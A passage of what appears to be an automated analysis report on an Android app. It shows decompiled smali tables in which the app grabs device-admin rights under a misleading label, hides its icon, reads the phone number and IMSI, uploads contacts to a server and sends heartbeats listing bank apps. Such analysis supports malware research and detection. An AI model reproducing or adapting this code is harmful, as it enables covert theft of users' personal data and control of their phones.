| 34 | move-result-object v1 | |
| 36 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->build()Landroid/os/StrictMode$ThreadPolicy; | |
| 37 | move-result-object v1 | |
| 39 | invoke-static {v1}, Landroid/os/StrictMode;->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V | |
| 40 | new-instance v1, Landroid/os/StrictMode$VmPolicy$Builder; | |
| 42 | invoke-direct {v1}, Landroid/os/StrictMode$VmPolicy$Builder;-><init>()V | |
| 44 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->detectLeakedSqlLiteObjects()Landroid/os/StrictMode$VmPolicy$Builder; | |
| 45 | move-result-object v1 | |
| 47 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->detectLeakedClosableObjects()Landroid/os/StrictMode$VmPolicy$Builder; | |
| 48 | move-result-object v1 | |
| 50 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->penaltyLog()Landroid/os/StrictMode$VmPolicy$Builder; | |
| 51 | move-result-object v1 | |
| 53 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->penaltyDeath()Landroid/os/StrictMode$VmPolicy$Builder; | |
| 54 | move-result-object v1 | |
| 56 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->build()Landroid/os/StrictMode$VmPolicy; | |
| 57 | move-result-object v1 | |
| 59 | invoke-static {v1}, Landroid/os/StrictMode;->setVmPolicy(Landroid/os/StrictMode$VmPolicy;)V | |
| 60 | cond_50: | |
| 61 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 63 | const-string v2, "CoreSverice is Begin" | |
| 65 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 67 | const-string v1, "issms" | |
| 68 | const/4 v2, 0x1 | |
| 70 | invoke-static {p0, v1, v2}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
| 72 | const-string v1, "iscall" | |
| 73 | const/4 v2, 0x0 | |
| 75 | invoke-static {p0, v1, v2}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
| 76 | new-instance v0, Landroid/content/IntentFilter; | |
| 78 | invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V | |
| 80 | const-string v1, "app.gx3.alert" | |
| 82 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
| 84 | const-string v1, "app.dwonload.complate" | |
| 86 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
| 88 | const-string v1, "app.auto.install" | |
| 90 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
| 92 | const-string v1, "alert.main" | |
| 94 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
| 95 | new-instance v1, Lcom/example/adt/CoreService$MyBroadcastReciver; | |
| 97 | invoke-direct {v1, p0}, Lcom/example/adt/CoreService$MyBroadcastReciver;-><init>(Lcom/example/adt/CoreService;)V | |
| 99 | invoke-virtual {p0, v1, v0}, Lcom/example/adt/CoreService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; |
|
| 100 | new-instance v1, Lcom/example/adt/Connect; | |
| 102 | invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V | |
| 103 | iput-object v1, p0, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect; | |
| 105 | invoke-static {p0}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
| 106 | move-result-object v1 | |
| 107 | iput-object v1, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
| 109 | iget-object v1, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
| 110 | sput-object v1, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
| 112 | invoke-static {p0}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String; | |
| 113 | move-result-object v1 | |
| 114 | iput-object v1, p0, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
| 115 | new-instance v1, Ljava/lang/Thread; | |
| 116 | new-instance v2, Lcom/example/adt/CoreService$HTRunnable; | |
| 118 | invoke-direct {v2, p0}, Lcom/example/adt/CoreService$HTRunnable;-><init>(Lcom/example/adt/CoreService;)V | |
| 120 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 122 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
| 123 | new-instance v1, Ljava/lang/Thread; | |
| 124 | new-instance v2, Lcom/example/adt/CoreService$CommRunnable; | |
| 126 | invoke-direct {v2, p0}, Lcom/example/adt/CoreService$CommRunnable;-><init>(Lcom/example/adt/CoreService;)V | |
| 128 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 130 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
| 131 | return-void |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | new-instance v0, Landroid/content/Intent; | |
| 3 | const-string v1, "android.app.action.ADD_DEVICE_ADMIN" | |
| 5 | invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
| 7 | const-string v1, "android.app.extra.DEVICE_ADMIN" | |
| 9 | iget-object v2, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName; | |
| 11 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent; |
|
| 13 | const-string v1, "android.app.extra.ADD_EXPLANATION" | |
| 15 | const-string v2, "\u4e00\u952e\u9501\u5c4f" | |
| 17 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
| 19 | invoke-virtual {p0, v0}, Lcom/example/adt/MainActivity;->startActivity(Landroid/content/Intent;)V |
|
| 20 | return-void |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | try_start_0: | |
| 2 | iget-object v5, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact; | |
| 4 | iget-object v5, v5, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
| 6 | invoke-static {v5}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; |
|
| 7 | move-result-object v1 | |
| 9 | iget-object v5, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact; | |
| 11 | iget-object v5, v5, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService; | |
| 13 | invoke-static {v5}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String; | |
| 14 | move-result-object v3 | |
| 15 | new-instance v5, Ljava/lang/StringBuilder; | |
| 17 | sget-object v6, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 19 | const-string v7, "serverip" | |
| 21 | sget-object v8, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 23 | invoke-static {v6, v7, v8}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 24 | move-result-object v6 | |
| 26 | invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 27 | move-result-object v6 | |
| 29 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 31 | sget-object v6, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 33 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 34 | move-result-object v5 | |
| 36 | const-string v6, "Contact&status=1&imsi=" | |
| 38 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 39 | move-result-object v5 | |
| 41 | invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 42 | move-result-object v5 | |
| 44 | const-string v6, "&number=" | |
| 46 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 47 | move-result-object v5 | |
| 49 | iget-object v6, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact; | |
| 51 | iget-object v6, v6, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService; | |
| 53 | invoke-static {v6}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
| 54 | move-result-object v6 | |
| 56 | invoke-virtual {v6}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 57 | move-result-object v6 | |
| 59 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 60 | move-result-object v5 | |
| 62 | const-string v6, "&content=" | |
| 64 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 65 | move-result-object v5 | |
| 67 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 68 | move-result-object v5 | |
| 70 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 71 | move-result-object v2 | |
| 72 | new-instance v0, Lcom/example/adt/Connect; | |
| 74 | invoke-direct {v0}, Lcom/example/adt/Connect;-><init>()V | |
| 76 | invoke-virtual {v0, v2}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 77 | move-result-object v4 | |
| 79 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 80 | new-instance v6, Ljava/lang/StringBuilder; | |
| 82 | const-string v7, "\u53d1\u9001\u901a\u8baf\u5f55\u7ed3\u679c => " | |
| 84 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 86 | invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 87 | move-result-object v6 | |
| 89 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 90 | move-result-object v6 | |
| 92 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 93 | goto_74: return-void | |
| 94 | catch_75: move-exception v5 | |
| 95 | goto/16 :goto_74 |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "savedInstanceState" | |
| 1 | .prologue | |
| 3 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
| 4 | const/4 v1, 0x1 | |
| 6 | invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->requestWindowFeature(I)Z |
|
| 7 | const/high16 v1, 0x7f03 | |
| 9 | invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->setContentView(I)V |
|
| 10 | sput-object p0, Lcom/example/adt/MainActivity;->context:Lcom/example/adt/MainActivity; | |
| 12 | invoke-virtual {p0}, Lcom/example/adt/MainActivity;->getComponentName()Landroid/content/ComponentName; | |
| 13 | move-result-object v1 | |
| 14 | sput-object v1, Lcom/example/adt/CoreService;->componentName:Landroid/content/ComponentName; | |
| 16 | const-string v1, "device_policy" | |
| 18 | invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 19 | move-result-object v1 | |
| 20 | check-cast v1, Landroid/app/admin/DevicePolicyManager; | |
| 21 | iput-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager; | |
| 22 | new-instance v1, Landroid/content/ComponentName; | |
| 23 | const-class v2, Lcom/example/adt/LockReceiver; | |
| 25 | invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
| 26 | iput-object v1, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName; | |
| 28 | iget-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager; | |
| 30 | iget-object v2, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName; | |
| 32 | invoke-virtual {v1, v2}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z |
|
| 33 | move-result v1 | |
| 34 | if-eqz v1, :cond_54 | |
| 36 | iget-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager; | |
| 38 | invoke-virtual {v1}, Landroid/app/admin/DevicePolicyManager;->lockNow()V | |
| 39 | goto_36: new-instance v0, Landroid/content/Intent; | |
| 40 | const-class v1, Lcom/example/adt/CoreService; | |
| 42 | invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
| 44 | invoke-virtual {p0, v0}, Lcom/example/adt/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
| 46 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 48 | const-string v2, "MainActivity is Begin" | |
| 50 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 52 | invoke-static {p0}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
| 53 | move-result-object v1 | |
| 54 | sput-object v1, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
| 56 | invoke-direct {p0}, Lcom/example/adt/MainActivity;->HideIcon()V | |
| 58 | invoke-virtual {p0}, Lcom/example/adt/MainActivity;->finish()V | |
| 59 | return-void | |
| 60 | cond_54: | |
| 61 | invoke-direct {p0}, Lcom/example/adt/MainActivity;->activeManager()V | |
| 62 | goto/16 :goto_36 |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "c" | |
| 1 | .parameter "key" | |
| 2 | .parameter "def" | |
| 3 | .prologue | |
| 5 | const-string v1, "config" | |
| 6 | const/4 v2, 0x0 | |
| 8 | invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
| 9 | move-result-object v0 | |
| 11 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
| 12 | move-result-object v1 | |
| 13 | return-object v1 |
| 59 Non-Executed Methods |
|---|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | goto_0: const-wide/16 v1, 0x1388 | |
| 2 | try_start_2: | |
| 3 | invoke-static {v1, v2}, Ljava/lang/Thread;->sleep(J)V |
|
| 4 | sget v1, Lcom/example/adt/CoreService;->autoCT:I | |
| 5 | add-int/lit8 v1, v1, 0x1 | |
| 6 | sput v1, Lcom/example/adt/CoreService;->autoCT:I | |
| 7 | sget v1, Lcom/example/adt/CoreService;->autoCT:I | |
| 8 | rem-int/lit8 v1, v1, 0x14 | |
| 9 | const/16 v2, 0x13 | |
| 10 | if-le v1, v2, :cond_1c | |
| 11 | sget v1, Lcom/example/adt/CoreService;->autoCT:I | |
| 12 | const/16 v2, 0x14 | |
| 13 | if-le v1, v2, :cond_1c | |
| 15 | invoke-static {}, Lcom/example/adt/App;->autoChangeApps()Ljava/lang/String; | |
| 16 | cond_1c: | |
| 17 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 19 | iget-object v2, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 21 | const-string v3, "isnew" | |
| 22 | const/4 v4, 0x0 | |
| 24 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
| 25 | move-result v2 | |
| 27 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
| 28 | move-result-object v2 | |
| 29 | iput-object v2, v1, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer; | |
| 31 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 33 | iget-object v1, v1, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer; | |
| 34 | const/4 v2, 0x0 | |
| 36 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 37 | move-result-object v2 | |
| 39 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
| 40 | move-result v1 | |
| 41 | if-eqz v1, :cond_1b5 | |
| 43 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 44 | const/4 v2, 0x1 | |
| 45 | iput v2, v1, Lcom/example/adt/CoreService;->newClient:I | |
| 47 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 49 | const-string v2, "isnew" | |
| 50 | const/4 v3, 0x1 | |
| 52 | invoke-static {v1, v2, v3}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
| 53 | goto_49: | |
| 54 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 55 | new-instance v2, Ljava/lang/StringBuilder; | |
| 57 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 59 | const-string v4, "issms" | |
| 60 | const/4 v5, 0x1 | |
| 62 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
| 63 | move-result v3 | |
| 65 | invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; | |
| 66 | move-result-object v3 | |
| 68 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 70 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 71 | move-result-object v2 | |
| 72 | iput-object v2, v1, Lcom/example/adt/CoreService;->issms:Ljava/lang/String; | |
| 74 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 75 | new-instance v2, Ljava/lang/StringBuilder; | |
| 77 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 79 | const-string v4, "iscall" | |
| 80 | const/4 v5, 0x0 | |
| 82 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
| 83 | move-result v3 | |
| 85 | invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; | |
| 86 | move-result-object v3 | |
| 88 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 90 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 91 | move-result-object v2 | |
| 92 | iput-object v2, v1, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String; | |
| 93 | new-instance v1, Lcom/example/adt/App; | |
| 95 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 97 | invoke-direct {v1, v2}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V | |
| 99 | invoke-virtual {v1}, Lcom/example/adt/App;->getApps()Ljava/lang/String; | |
| 101 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 103 | sget-object v2, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 104 | iput-object v2, v1, Lcom/example/adt/CoreService;->capp:Ljava/lang/String; | |
| 106 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 108 | sget-object v2, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 109 | iput-object v2, v1, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String; | |
| 111 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 112 | sget v2, Landroid/os/Build$VERSION;->SDK_INT:I | |
| 113 | iput v2, v1, Lcom/example/adt/CoreService;->currentapiVersion:I | |
| 115 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 117 | sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String; | |
| 119 | invoke-static {v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
| 120 | move-result-object v2 | |
| 121 | iput-object v2, v1, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String; | |
| 123 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 124 | new-instance v2, Ljava/lang/StringBuilder; | |
| 126 | invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar; | |
| 127 | move-result-object v3 | |
| 129 | invoke-virtual {v3}, Ljava/util/Calendar;->getTimeInMillis()J | |
| 130 | move-result-wide v3 | |
| 132 | invoke-static {v3, v4}, Ljava/lang/String;->valueOf(J)Ljava/lang/String; |
|
| 133 | move-result-object v3 | |
| 135 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 137 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 138 | move-result-object v2 | |
| 139 | iput-object v2, v1, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String; | |
| 141 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 143 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 145 | invoke-static {v2}, Lcom/example/adt/Config;->getAPNType(Landroid/content/Context;)I | |
| 146 | move-result v2 | |
| 148 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
| 149 | move-result-object v2 | |
| 150 | iput-object v2, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
| 152 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 154 | iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
| 155 | const/4 v2, 0x1 | |
| 157 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 158 | move-result-object v2 | |
| 160 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
| 161 | move-result v1 | |
| 162 | if-eqz v1, :cond_1bc | |
| 164 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 166 | const-string v2, "wifi" | |
| 167 | iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
| 168 | goto_df: | |
| 169 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 170 | new-instance v2, Ljava/lang/StringBuilder; | |
| 172 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 174 | const-string v4, "serverip" | |
| 176 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 178 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 179 | move-result-object v3 | |
| 181 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 182 | move-result-object v3 | |
| 184 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 186 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 188 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 189 | move-result-object v2 | |
| 191 | const-string v3, "Heartbeat&nettype=" | |
| 193 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 194 | move-result-object v2 | |
| 196 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 198 | iget-object v3, v3, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
| 200 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 201 | move-result-object v2 | |
| 203 | const-string v3, "&mob=" | |
| 205 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 206 | move-result-object v2 | |
| 208 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 210 | iget-object v3, v3, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String; | |
| 212 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 213 | move-result-object v2 | |
| 215 | const-string v3, "&version=" | |
| 217 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 218 | move-result-object v2 | |
| 220 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 221 | iget v3, v3, Lcom/example/adt/CoreService;->currentapiVersion:I | |
| 223 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
| 224 | move-result-object v2 | |
| 226 | const-string v3, "&newclient=" | |
| 228 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 229 | move-result-object v2 | |
| 231 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 232 | iget v3, v3, Lcom/example/adt/CoreService;->newClient:I | |
| 234 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
| 235 | move-result-object v2 | |
| 237 | const-string v3, "&number=" | |
| 239 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 240 | move-result-object v2 | |
| 242 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 244 | iget-object v3, v3, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
| 246 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 247 | move-result-object v2 | |
| 249 | const-string v3, "&imsi=" | |
| 251 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 252 | move-result-object v2 | |
| 254 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 256 | iget-object v3, v3, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
| 258 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 259 | move-result-object v2 | |
| 261 | const-string v3, "&issms=" | |
| 263 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 264 | move-result-object v2 | |
| 266 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 268 | iget-object v3, v3, Lcom/example/adt/CoreService;->issms:Ljava/lang/String; | |
| 270 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 271 | move-result-object v2 | |
| 273 | const-string v3, "&iscall=" | |
| 275 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 276 | move-result-object v2 | |
| 278 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 280 | iget-object v3, v3, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String; | |
| 282 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 283 | move-result-object v2 | |
| 285 | const-string v3, "&capp=" | |
| 287 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
